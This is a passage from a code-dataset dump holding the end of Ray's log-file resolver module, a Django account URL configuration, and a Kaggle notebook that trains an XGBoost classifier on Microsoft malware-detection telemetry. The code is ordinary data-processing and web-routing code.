JOB_LOGS_PATH_TEMPLATE.format(submission_id=sub_job_id)\n return node_id, log_filename\n\n async def _resolve_worker_file(\n self,\n node_id: str,\n worker_id: Optional[str],\n pid: Optional[int],\n suffix: str,\n timeout: int,\n ) -> Optional[str]:\n \"\"\"Resolve worker log file.\"\"\"\n if worker_id is not None and pid is not None:\n raise ValueError(\n f\"Only one of worker id({worker_id}) or pid({pid}) should be provided.\"\n )\n\n if worker_id is not None:\n log_files = await self.list_logs(\n node_id, timeout, glob_filter=f\"*{worker_id}*{suffix}\"\n )\n else:\n log_files = await self.list_logs(\n node_id, timeout, glob_filter=f\"*{pid}*{suffix}\"\n )\n\n # Find matching worker logs.\n for filename in [*log_files[\"worker_out\"], *log_files[\"worker_err\"]]:\n # Worker logs look like worker-[worker_id]-[job_id]-[pid].out\n if worker_id is not None:\n worker_id_from_filename = WORKER_LOG_PATTERN.match(filename).group(1)\n if worker_id_from_filename == worker_id:\n return filename\n else:\n worker_pid_from_filename = int(\n WORKER_LOG_PATTERN.match(filename).group(3)\n )\n if worker_pid_from_filename == pid:\n return filename\n return None\n\n async def _resolve_actor_filename(\n self,\n actor_id: str,\n get_actor_fn: Callable[[str], Dict],\n suffix: str,\n timeout: int,\n ):\n \"\"\"\n Resolve actor log file\n Args:\n actor_id: The actor id.\n get_actor_fn: The function to get actor information.\n suffix: The suffix of the log file.\n timeout: Timeout in seconds.\n Returns:\n The log file name and node id.\n\n Raises:\n ValueError if actor data is not found or get_actor_fn is not provided.\n \"\"\"\n if get_actor_fn is None:\n raise ValueError(\"get_actor_fn needs to be specified for actor_id\")\n\n actor_data = get_actor_fn(actor_id)\n if actor_data is None:\n raise ValueError(f\"Actor ID {actor_id} not found.\")\n\n # TODO(sang): Only the latest worker id can be obtained from\n # actor information now. That means, if actors are restarted,\n # there's no way for us to get the past worker ids.\n worker_id = actor_data[\"address\"].get(\"workerId\")\n if not worker_id:\n raise ValueError(\n f\"Worker ID for Actor ID {actor_id} not found. \"\n \"Actor is not scheduled yet.\"\n )\n node_id = actor_data[\"address\"].get(\"rayletId\")\n if not node_id:\n raise ValueError(\n f\"Node ID for Actor ID {actor_id} not found. \"\n \"Actor is not scheduled yet.\"\n )\n self._verify_node_registered(node_id)\n log_filename = await self._resolve_worker_file(\n node_id=node_id,\n worker_id=worker_id,\n pid=None,\n suffix=suffix,\n timeout=timeout,\n )\n return node_id, log_filename\n\n async def _resolve_task_filename(\n self, task_id: str, attempt_number: int, suffix: str, timeout: int\n ):\n \"\"\"\n Resolve log file for a task.\n\n Args:\n task_id: The task id.\n attempt_number: The attempt number.\n suffix: The suffix of the log file, e.g. out or err\n timeout: Timeout in seconds.\n\n Returns:\n The log file name, node id, the start and end offsets of the\n corresponding task log in the file.\n\n Raises:\n FileNotFoundError if the log file is not found.\n ValueError if the suffix is not out or err.\n\n \"\"\"\n log_filename = None\n node_id = None\n start_offset = None\n end_offset = None\n\n if suffix not in [\"out\", \"err\"]:\n raise ValueError(f\"Suffix {suffix} is not supported.\")\n\n reply = await self.client.get_all_task_info(\n filters=[(\"task_id\", \"=\", task_id)], timeout=timeout\n )\n # Check if the task is found.\n if len(reply.events_by_task) == 0:\n raise FileNotFoundError(\n f\"Could not find log file for task: {task_id}\"\n f\" (attempt {attempt_number}) with suffix: {suffix}\"\n )\n task_event = None\n for t in reply.events_by_task:\n if t.attempt_number == attempt_number:\n task_event = t\n break\n\n if task_event is None:\n raise FileNotFoundError(\n \"Could not find log file for task attempt:\"\n f\"{task_id}({attempt_number})\"\n )\n # Get the worker id and node id.\n task = protobuf_to_task_state_dict(task_event)\n\n worker_id = task.get(\"worker_id\", None)\n node_id = task.get(\"node_id\", None)\n log_info = task.get(\"task_log_info\", None)\n actor_id = task.get(\"actor_id\", None)\n\n if node_id is None:\n raise FileNotFoundError(\n \"Could not find log file for task attempt.\"\n f\"{task_id}({attempt_number}) due to missing node info.\"\n )\n\n if log_info is None and actor_id is not None:\n # This is a concurrent actor task. The logs will be interleaved.\n # So we return the log file of the actor instead.\n raise FileNotFoundError(\n f\"For actor task, please query actor log for \"\n f\"actor({actor_id}): e.g. ray logs actor --id {actor_id} . Or \"\n \"set RAY_ENABLE_RECORD_ACTOR_TASK_LOGGING=1 in actor's runtime env \"\n \"or when starting the cluster. Recording actor task's log could be \"\n \"expensive, so Ray turns it off by default.\"\n )\n elif log_info is None:\n raise FileNotFoundError(\n \"Could not find log file for task attempt:\"\n f\"{task_id}({attempt_number}).\"\n f\"Worker id = {worker_id}, node id = {node_id},\"\n f\"log_info = {log_info}\"\n )\n\n filename_key = \"stdout_file\" if suffix == \"out\" else \"stderr_file\"\n log_filename = log_info.get(filename_key, None)\n if log_filename is None:\n raise FileNotFoundError(\n f\"Missing log filename info in {log_info} for task {task_id},\"\n f\"attempt {attempt_number}\"\n )\n\n start_offset = log_info.get(f\"std{suffix}_start\", None)\n end_offset = log_info.get(f\"std{suffix}_end\", None)\n\n return node_id, log_filename, start_offset, end_offset\n\n async def resolve_filename(\n self,\n *,\n node_id: Optional[str] = None,\n log_filename: Optional[str] = None,\n actor_id: Optional[str] = None,\n task_id: Optional[str] = None,\n attempt_number: Optional[int] = None,\n pid: Optional[str] = None,\n get_actor_fn: Optional[Callable[[str], Dict]] = None,\n timeout: int = DEFAULT_RPC_TIMEOUT,\n suffix: str = \"out\",\n submission_id: Optional[str] = None,\n ) -> ResolvedStreamFileInfo:\n \"\"\"Return the file name given all options.\n\n Args:\n node_id: The node's id from which logs are resolved.\n log_filename: Filename of the log file.\n actor_id: Id of the actor that generates the log file.\n task_id: Id of the task that generates the log file.\n pid: Id of the worker process that generates the log file.\n get_actor_fn: Callback to get the actor's data by id.\n timeout: Timeout for the gRPC to listing logs on the node\n specified by `node_id`.\n suffix: Log suffix if no `log_filename` is provided, when\n resolving by other ids'. Default to \"out\".\n submission_id: The submission id for a submission job.\n \"\"\"\n start_offset = None\n end_offset = None\n if suffix not in [\"out\", \"err\"]:\n raise ValueError(f\"Suffix {suffix} is not supported. \")\n\n # TODO(rickyx): We should make sure we do some sort of checking on the log\n # filename\n if actor_id:\n node_id, log_filename = await self._resolve_actor_filename(\n actor_id, get_actor_fn, suffix, timeout\n )\n\n elif task_id:\n (\n node_id,\n log_filename,\n start_offset,\n end_offset,\n ) = await self._resolve_task_filename(\n task_id, attempt_number, suffix, timeout\n )\n\n elif submission_id:\n node_id, log_filename = await self._resolve_job_filename(submission_id)\n\n elif pid:\n if node_id is None:\n raise ValueError(\n \"Node id needs to be specified for resolving\"\n f\" filenames of pid {pid}\"\n )\n self._verify_node_registered(node_id)\n log_filename = await self._resolve_worker_file(\n node_id=node_id,\n worker_id=None,\n pid=pid,\n suffix=suffix,\n timeout=timeout,\n )\n\n if log_filename is None:\n raise FileNotFoundError(\n \"Could not find a log file. Please make sure the given \"\n \"option exists in the cluster.\\n\"\n f\"\\tnode_id: {node_id}\\n\"\n f\"\\tfilename: {log_filename}\\n\"\n f\"\\tactor_id: {actor_id}\\n\"\n f\"\\ttask_id: {task_id}\\n\"\n f\"\\tpid: {pid}\\n\"\n f\"\\tsuffix: {suffix}\\n\"\n f\"\\tsubmission_id: {submission_id}\\n\"\n f\"\\tattempt_number: {attempt_number}\\n\"\n )\n\n res = ResolvedStreamFileInfo(\n node_id=node_id,\n filename=log_filename,\n start_offset=start_offset,\n end_offset=end_offset,\n )\n logger.info(f\"Resolved log file: {res}\")\n return res\n\n def _categorize_log_files(self, log_files: List[str]) -> Dict[str, List[str]]:\n \"\"\"Categorize the given log files after filterieng them out using a given glob.\n\n Returns:\n Dictionary of {component_name -> list of log files}\n \"\"\"\n result = defaultdict(list)\n for log_file in log_files:\n if \"worker\" in log_file and (log_file.endswith(\".out\")):\n result[\"worker_out\"].append(log_file)\n elif \"worker\" in log_file and (log_file.endswith(\".err\")):\n result[\"worker_err\"].append(log_file)\n elif \"core-worker\" in log_file and log_file.endswith(\".log\"):\n result[\"core_worker\"].append(log_file)\n elif \"core-driver\" in log_file and log_file.endswith(\".log\"):\n result[\"driver\"].append(log_file)\n elif \"raylet.\" in log_file:\n result[\"raylet\"].append(log_file)\n elif \"gcs_server.\" in log_file:\n result[\"gcs_server\"].append(log_file)\n elif \"log_monitor\" in log_file:\n result[\"internal\"].append(log_file)\n elif \"monitor\" in log_file:\n result[\"autoscaler\"].append(log_file)\n elif \"agent.\" in log_file:\n result[\"agent\"].append(log_file)\n elif \"dashboard.\" in log_file:\n result[\"dashboard\"].append(log_file)\n else:\n result[\"internal\"].append(log_file)\n\n return result\n", "repo_name": "ray-project/ray", "sub_path": "dashboard/modules/log/log_manager.py", "file_name": "log_manager.py", "file_ext": "py", "file_size_in_byte": 17387, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 28715, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 23, "usage_type": "call"}, {"api_name": "ray._private.pydantic_compat.BaseModel", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 39, "usage_type": "name"}, {"api_name": "ray.util.state.state_manager.StateDataSourceClient", "line_number": 43, "usage_type": "name"}, {"api_name": "ray.util.state.state_manager.StateDataSourceClient", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 50, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 64, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 64, "usage_type": "name"}, {"api_name": "ray.util.state.common.GetLogOptions", "line_number": 84, "usage_type": "name"}, {"api_name": "ray.dashboard.datacenter.DataSource.actors", "line_number": 103, "usage_type": "attribute"}, {"api_name": "ray.dashboard.datacenter.DataSource", "line_number": 103, "usage_type": "name"}, {"api_name": "typing.AsyncIterable", "line_number": 85, "usage_type": "name"}, {"api_name": "ray.util.state.exception.DataSourceUnavailable", "line_number": 129, "usage_type": "call"}, {"api_name": "ray.util.state.common.DEFAULT_RPC_TIMEOUT", "line_number": 148, "usage_type": "name"}, {"api_name": "ray.dashboard.modules.job.common.JOB_LOGS_PATH_TEMPLATE.format", "line_number": 165, "usage_type": "call"}, {"api_name": "ray.dashboard.modules.job.common.JOB_LOGS_PATH_TEMPLATE", "line_number": 165, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 139, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 171, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 172, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 209, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 209, "usage_type": "name"}, {"api_name": "ray.util.state.common.protobuf_to_task_state_dict", "line_number": 308, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 355, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 356, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 357, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 358, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 359, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 360, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 361, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 361, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 361, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 364, "usage_type": "name"}, {"api_name": "ray.util.state.common.DEFAULT_RPC_TIMEOUT", "line_number": 362, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 444, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 450, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 444, "usage_type": "name"}]} +{"seq_id": "42482343719", "text": "from django.conf.urls import patterns, url\nfrom account import views\n\nurlpatterns = patterns('',\n url(r'^$', views.login, name='index'),\n url(r'^login/', views.login, name='login'),\n url(r'^logout/', views.logout, name='logout'),\n url(r'^create_user/', views.create_user, name='create_user'),\n url(r'^create_group/', views.CreateGroupForm.as_view(), name='create_group'),\n )\n\n", "repo_name": "tbergquist-godaddy/treningsdagbok", "sub_path": "account/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 418, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 4, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "account.views.login", "line_number": 5, "usage_type": "attribute"}, {"api_name": "account.views", "line_number": 5, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "account.views.login", "line_number": 6, "usage_type": "attribute"}, {"api_name": "account.views", "line_number": 6, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "account.views.logout", "line_number": 7, "usage_type": "attribute"}, {"api_name": "account.views", "line_number": 7, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "account.views.create_user", "line_number": 8, "usage_type": "attribute"}, {"api_name": "account.views", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "account.views.CreateGroupForm.as_view", "line_number": 9, "usage_type": "call"}, {"api_name": "account.views.CreateGroupForm", "line_number": 9, "usage_type": "attribute"}, {"api_name": "account.views", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "74447758043", "text": "# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\n\n\nimport os\n\nprint(os.listdir(\"../input\"))\n\n\n\nimport matplotlib\n\nimport matplotlib.pyplot as plt\n\n\n\nimport seaborn as sns\n\n\n\n\n\n\nimport time\n\n\n\n\n\n# due to Kaggle memory limitations and the enormous dataset size, a sample from the whole\n\n# trainset will be used for ML modeling\n\ntrain_sample_fraction = 0.2\n\n\n\n\n\n# another global variable that must be defined is the NA values rate / theshold to ommit columns with\n\n# NA values that pass this rate\n\nna_rate_threshold = 0.9\n\n\n\n# theshold to remove columns with unbalanced features to their values \n\nunbalanced_feature_rate_threshold = 0.9\n\n\n\n# Any results you write to the current directory are saved as output.\n# I am grateful for the help of author of this kernel for the main idea to load the dataset and save memory space!!\n\n# https://www.kaggle.com/theoviel/load-the-totality-of-the-data\n\n\n\ndtypes = {\n\n 'MachineIdentifier': 'category',\n\n 'ProductName': 'category',\n\n 'EngineVersion': 'category',\n\n 'AppVersion': 'category',\n\n 'AvSigVersion': 'category',\n\n 'IsBeta': 'int8',\n\n 'RtpStateBitfield': 'float16',\n\n 'IsSxsPassiveMode': 'int8',\n\n 'DefaultBrowsersIdentifier': 'float16',\n\n 'AVProductStatesIdentifier': 'float32',\n\n 'AVProductsInstalled': 'float16',\n\n 'AVProductsEnabled': 'float16',\n\n 'HasTpm': 'int8',\n\n 'CountryIdentifier': 'int16',\n\n 'CityIdentifier': 'float32',\n\n 'OrganizationIdentifier': 'float16',\n\n 'GeoNameIdentifier': 'float16',\n\n 'LocaleEnglishNameIdentifier': 'int8',\n\n 'Platform': 'category',\n\n 'Processor': 'category',\n\n 'OsVer': 'category',\n\n 'OsBuild': 'int16',\n\n 'OsSuite': 'int16',\n\n 'OsPlatformSubRelease': 'category',\n\n 'OsBuildLab': 'category',\n\n 'SkuEdition': 'category',\n\n 'IsProtected': 'float16',\n\n 'AutoSampleOptIn': 'int8',\n\n 'PuaMode': 'category',\n\n 'SMode': 'float16',\n\n 'IeVerIdentifier': 'float16',\n\n 'SmartScreen': 'category',\n\n 'Firewall': 'float16',\n\n 'UacLuaenable': 'float32',\n\n 'Census_MDC2FormFactor': 'category',\n\n 'Census_DeviceFamily': 'category',\n\n 'Census_OEMNameIdentifier': 'float16',\n\n 'Census_OEMModelIdentifier': 'float32',\n\n 'Census_ProcessorCoreCount': 'float16',\n\n 'Census_ProcessorManufacturerIdentifier': 'float16',\n\n 'Census_ProcessorModelIdentifier': 'float16',\n\n 'Census_ProcessorClass': 'category',\n\n 'Census_PrimaryDiskTotalCapacity': 'float32',\n\n 'Census_PrimaryDiskTypeName': 'category',\n\n 'Census_SystemVolumeTotalCapacity': 'float32',\n\n 'Census_HasOpticalDiskDrive': 'int8',\n\n 'Census_TotalPhysicalRAM': 'float32',\n\n 'Census_ChassisTypeName': 'category',\n\n 'Census_InternalPrimaryDiagonalDisplaySizeInInches': 'float16',\n\n 'Census_InternalPrimaryDisplayResolutionHorizontal': 'float16',\n\n 'Census_InternalPrimaryDisplayResolutionVertical': 'float16',\n\n 'Census_PowerPlatformRoleName': 'category',\n\n 'Census_InternalBatteryType': 'category',\n\n 'Census_InternalBatteryNumberOfCharges': 'float32',\n\n 'Census_OSVersion': 'category',\n\n 'Census_OSArchitecture': 'category',\n\n 'Census_OSBranch': 'category',\n\n 'Census_OSBuildNumber': 'int16',\n\n 'Census_OSBuildRevision': 'int32',\n\n 'Census_OSEdition': 'category',\n\n 'Census_OSSkuName': 'category',\n\n 'Census_OSInstallTypeName': 'category',\n\n 'Census_OSInstallLanguageIdentifier': 'float16',\n\n 'Census_OSUILocaleIdentifier': 'int16',\n\n 'Census_OSWUAutoUpdateOptionsName': 'category',\n\n 'Census_IsPortableOperatingSystem': 'int8',\n\n 'Census_GenuineStateName': 'category',\n\n 'Census_ActivationChannel': 'category',\n\n 'Census_IsFlightingInternal': 'float16',\n\n 'Census_IsFlightsDisabled': 'float16',\n\n 'Census_FlightRing': 'category',\n\n 'Census_ThresholdOptIn': 'float16',\n\n 'Census_FirmwareManufacturerIdentifier': 'float16',\n\n 'Census_FirmwareVersionIdentifier': 'float32',\n\n 'Census_IsSecureBootEnabled': 'int8',\n\n 'Census_IsWIMBootEnabled': 'float16',\n\n 'Census_IsVirtualDevice': 'float16',\n\n 'Census_IsTouchEnabled': 'int8',\n\n 'Census_IsPenCapable': 'int8',\n\n 'Census_IsAlwaysOnAlwaysConnectedCapable': 'float16',\n\n 'Wdft_IsGamer': 'float16',\n\n 'Wdft_RegionIdentifier': 'float16',\n\n 'HasDetections': 'int8'\n\n }\n\n\n\ndef reduce_mem_usage(df, verbose=True):\n\n numerics = ['int16', 'int32', 'int64', 'float16', 'float32', 'float64']\n\n start_mem = df.memory_usage(deep=True).sum() / 1024**2 \n\n for col in df.columns:\n\n col_type = df[col].dtypes\n\n if col_type in numerics:\n\n c_min = df[col].min()\n\n c_max = df[col].max()\n\n if str(col_type)[:3] == 'int':\n\n if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n\n df[col] = df[col].astype(np.int8)\n\n elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n\n df[col] = df[col].astype(np.int16)\n\n elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n\n df[col] = df[col].astype(np.int32)\n\n elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n\n df[col] = df[col].astype(np.int64) \n\n else:\n\n if c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n\n df[col] = df[col].astype(np.float16)\n\n elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n\n df[col] = df[col].astype(np.float32)\n\n else:\n\n df[col] = df[col].astype(np.float64) \n\n end_mem = df.memory_usage(deep=True).sum() / 1024**2\n\n if verbose: print('Mem. usage decreased to {:5.2f} Mb ({:.1f}% reduction)'.format(end_mem, 100 * (start_mem - end_mem) / start_mem))\n\n return df\n\ntrain = pd.read_csv('../input/train.csv', dtype=dtypes)\ngood_cols = list(train.columns)\n\n\n\nfor col in train.columns:\n\n \n\n # remove columns with high NA rate\n\n na_rate = train[col].isnull().sum() / train.shape[0]\n\n \n\n # remove columns with high Unbalanced values rate\n\n unbalanced_rate = train[col].value_counts(normalize=True, dropna=False).values[0]\n\n \n\n if na_rate > na_rate_threshold:\n\n good_cols.remove(col)\n\n elif unbalanced_rate > unbalanced_feature_rate_threshold:\n\n good_cols.remove(col)\ngood_cols\ntrain = train[good_cols]\nimport gc\n\n\n\ngc.collect()\ncategorical_columns = list(train.loc[:, train.dtypes ==\"category\"].columns)\n\nnumerical_and_binary_columns = list(train.loc[:, train.dtypes !=\"category\"].columns)\n\nnumerical_columns = numerical_and_binary_columns\n\n\n\ncategorical_columns.remove(\"MachineIdentifier\")\n\n\n\nbinary_columns = []\n\nfor col in (numerical_and_binary_columns):\n\n if train[col].nunique() == 2:\n\n binary_columns.append(col)\n\n numerical_columns.remove(col)\ntrain_sample = train.sample(frac=train_sample_fraction, random_state=42)\n\ndel train\n\ngc.collect()\ntrain_sample.shape\ntest_dtypes = {k: v for k, v in dtypes.items() if k in good_cols}\n\n\n\n# get all columns except\n\ntest = pd.read_csv('../input/test.csv', dtype=test_dtypes, usecols=good_cols[:-1])\n\n\n\n#test = reduce_mem_usage(test)\ntest.head()\ntest.shape\ntrain_sample = train_sample.drop(['MachineIdentifier'], axis=1)\n\ntest = test.drop(['MachineIdentifier'], axis=1)\ntrain_sample = train_sample.reset_index(drop=True)\nmodes = train_sample.mode()\n\n\n\nfor col in train_sample.columns:\n\n train_sample[col] = np.where(train_sample[col].isnull(), modes[col], train_sample[col])\n\n\n\ndel modes\nmodes_test = test.mode()\n\n\n\nfor col in test.columns:\n\n test[col] = np.where(test[col].isnull(), modes_test[col], test[col])\n\n\n\n#train_sample.shape\n\ndel modes_test\ntrain_shape = train_sample.shape\n\ntest_shape = test.shape\n\n\n\ntrain_and_test = pd.concat([train_sample,test], axis=\"rows\", sort=False)\n\n\n\ndel train_sample\n\ndel test\n\ngc.collect()\ntrain_and_test.head()\ntrain_and_test.tail()\nfrom sklearn.preprocessing import LabelEncoder\n\nfrom sklearn.preprocessing import OneHotEncoder\n\n\n\ndef MultiLabelEncoder(columnlist,dataframe):\n\n for i in columnlist:\n\n #print(i)\n\n labelencoder_X=LabelEncoder()\n\n dataframe[i]=labelencoder_X.fit_transform(dataframe[i])\n\n\n\nMultiLabelEncoder(categorical_columns, train_and_test)\ngc.collect()\ntrain_sample = train_and_test[0:train_shape[0]]\n\ntest = train_and_test[(train_shape[0]):(train_and_test.shape[0]+1)]\ndel train_and_test\ntest = test.drop([\"HasDetections\"], axis = 1)\ny = train_sample['HasDetections']\n\nX = train_sample.drop(['HasDetections'], axis=1)\ndel train_sample\n\ngc.collect()\n# main idea:\n\n# https://www.kaggle.com/infinitewing/k-fold-cv-xgboost-example-0-28?scriptVersionId=1553202\n\n\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.model_selection import KFold\n\nimport xgboost as xgb\n\nfrom sklearn.metrics import accuracy_score\n\nfrom sklearn.metrics import precision_score\n\nfrom sklearn.metrics import recall_score\n\nfrom sklearn.metrics import f1_score\n\nfrom sklearn.metrics import classification_report\n\nfrom sklearn.metrics import roc_auc_score\n\nfrom sklearn import metrics\n\nimport time\n\nimport random\n\n\n\nK = 5\n\nindex = 0\n\npredictions_proba_test_list = np.zeros(len(test))\n\nfold_auc_list = []\n\nfold_accuracy_list = []\n\n\n\nkf = KFold(n_splits = K, random_state = 42, shuffle = True)\n\n\n\nfor train_index, test_index in kf.split(X):\n\n \n\n print(\"Fold:\", index)\n\n index = index + 1\n\n \n\n train_X, valid_X = X.iloc[train_index, :], X.iloc[test_index, :]\n\n train_y, valid_y = y[train_index], y[test_index]\n\n \n\n new_seed = random.randint(1, 2000)\n\n \n\n clf_xgb = xgb.XGBClassifier(learning_rate=0.03, \n\n n_estimators=1300, \n\n max_depth=8,\n\n min_child_weight=4,\n\n gamma=0,\n\n subsample=0.8,\n\n colsample_bytree=0.7,\n\n objective= 'binary:logistic',\n\n nthread=-1,\n\n scale_pos_weight=1,\n\n reg_alpha = 0.1,\n\n reg_lambda = 1,\n\n seed=new_seed)\n\n\n\n clf_xgb.fit(train_X, train_y, eval_set=[(train_X, train_y), (valid_X, valid_y)], \n\n early_stopping_rounds=100, eval_metric='auc', verbose=100)\n\n \n\n temp_predictions_proba_test_list = []\n\n\n\n # read test set in chunks\n\n chunck = 400000\n\n test_times = test.shape[0] // chunck\n\n test_rest = test.shape[0] % chunck\n\n\n\n for i in np.arange(0,(chunck * (test_times+1)), chunck):\n\n \n\n # create predictions in chunks due ot memory limitations\n\n predictions_proba_test = list(clf_xgb.predict_proba(test[i:(i+chunck)])[:,1])\n\n temp_predictions_proba_test_list.append(predictions_proba_test)\n\n #print(\"times:\", i)\n\n\n\n\n\n # flatten the list of lists\n\n temp_predictions_proba_test_list = [y for x in temp_predictions_proba_test_list for y in x]\n\n \n\n \n\n #print(np.shape(predictions_proba_test_list))\n\n predictions_proba_test_list = [sum(x) for x in zip(predictions_proba_test_list, temp_predictions_proba_test_list)]\n\n #print(test.shape)\n\n #print(np.shape(predictions_proba_test_list))\n\n\n\n \n\n predictions = clf_xgb.predict(valid_X, ntree_limit=clf_xgb.n_estimators)\n\n\n\n print()\n\n print(classification_report(valid_y, predictions))\n\n\n\n print()\n\n print(\"accuracy_score\", accuracy_score(valid_y, predictions))\n\n \n\n predictions_probas = clf_xgb.predict_proba(valid_X)[:,1]\n\n print(\"auc score\", roc_auc_score(valid_y, predictions_probas))\n\n print()\n\n \n\n fold_accuracy_list.append(accuracy_score(valid_y, predictions))\n\n fold_auc_list.append(roc_auc_score(valid_y, predictions_probas))\n\n\n\nprint()\n\nprint(\"Mean auc:\", np.mean(fold_auc_list))\n\nprint(\"Std auc:\", np.std(fold_auc_list))\n\n\n\nprint(\"Mean accuracy:\", np.mean(fold_accuracy_list))\n\nprint(\"Std accuracy:\", np.std(fold_accuracy_list))\n\n\n\ngc.collect()\npredictions_proba_test_list = [x / kf.n_splits for x in predictions_proba_test_list]\nfrom sklearn.metrics import confusion_matrix\n\nimport scikitplot as skplt\n\n\n\nsns.set(rc={'figure.figsize':(8,8)})\n\nskplt.metrics.plot_confusion_matrix(valid_y, predictions, cmap=\"BrBG\")\nsns.set(rc={'figure.figsize':(8,8)})\n\npredictions_probas = clf_xgb.predict_proba(valid_X)\n\nskplt.metrics.plot_roc(valid_y, predictions_probas)\nsns.set(rc={'figure.figsize':(8,8)})\n\nskplt.metrics.plot_ks_statistic(valid_y, predictions_probas)\nsns.set(rc={'figure.figsize':(8,8)})\n\nskplt.metrics.plot_precision_recall(valid_y, predictions_probas)\n# I may implement tuning in the future but I am afraid of variance - bias tradeoff\n\n'''\n\n#idea and a big thank you to https://www.analyticsvidhya.com/blog/2016/03/complete-guide-parameter-tuning-xgboost-with-codes-python/\n\nfrom sklearn.model_selection import GridSearchCV #Perforing grid search\n\n\n\ngc.collect()\n\n\n\nparam_test1 = {\n\n # based on previous personal kernels both parameters show better result having high numbers \n\n 'max_depth':[3, 5, 7, 9, 11],\n\n 'min_child_weight':[1, 3, 5, 7, 9]\n\n}\n\ngsearch1 = GridSearchCV(estimator = xgb.XGBClassifier( learning_rate=0.05, n_estimators=70, gamma=0, subsample=0.8, colsample_bytree=0.8,\n\n objective= 'binary:logistic', nthread=-1, scale_pos_weight=1, reg_alpha = 0, \n\n reg_lambda =1, seed=42), \n\n param_grid = param_test1, scoring='roc_auc', n_jobs=1, iid=False, cv=3, verbose = 1)\n\n\n\ngsearch1.fit(xtrain, ytrain)\n\ngsearch1.best_params_, gsearch1.best_score_\n\n'''\ndel X\n\ndel y\n\ndel train_X\n\ndel train_y\n\ndel valid_X\n\ndel valid_y\n\ndel predictions\n\ndel predictions_probas\n\ndel temp_predictions_proba_test_list\n\ndel clf_xgb\n\ngc.collect()\nsubmission = pd.read_csv('../input/sample_submission.csv')\n\nsubmission['HasDetections'] = predictions_proba_test_list\n\nsubmission.to_csv('xgboost.csv', index=False)", "repo_name": "aorursy/new-nb-6", "sub_path": "praxitelisk_microsoft-malware-detection-xgboost-blends.py", "file_name": "praxitelisk_microsoft-malware-detection-xgboost-blends.py", "file_ext": "py", "file_size_in_byte": 17477, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.listdir", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.iinfo", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.int8", "line_number": 267, "usage_type": "attribute"}, {"api_name": "numpy.int8", "line_number": 269, "usage_type": "attribute"}, {"api_name": "numpy.iinfo", "line_number": 271, "usage_type": "call"}, {"api_name": "numpy.int16", "line_number": 271, "usage_type": "attribute"}, {"api_name": "numpy.int16", "line_number": 273, "usage_type": "attribute"}, {"api_name": "numpy.iinfo", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 275, "usage_type": "attribute"}, {"api_name": "numpy.int32", "line_number": 277, "usage_type": "attribute"}, {"api_name": "numpy.iinfo", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 279, "usage_type": "attribute"}, {"api_name": "numpy.int64", "line_number": 281, "usage_type": "attribute"}, {"api_name": "numpy.finfo", "line_number": 285, "usage_type": "call"}, {"api_name": "numpy.float16", "line_number": 285, "usage_type": "attribute"}, {"api_name": "numpy.float16", "line_number": 287, "usage_type": "attribute"}, {"api_name": "numpy.finfo", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 289, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 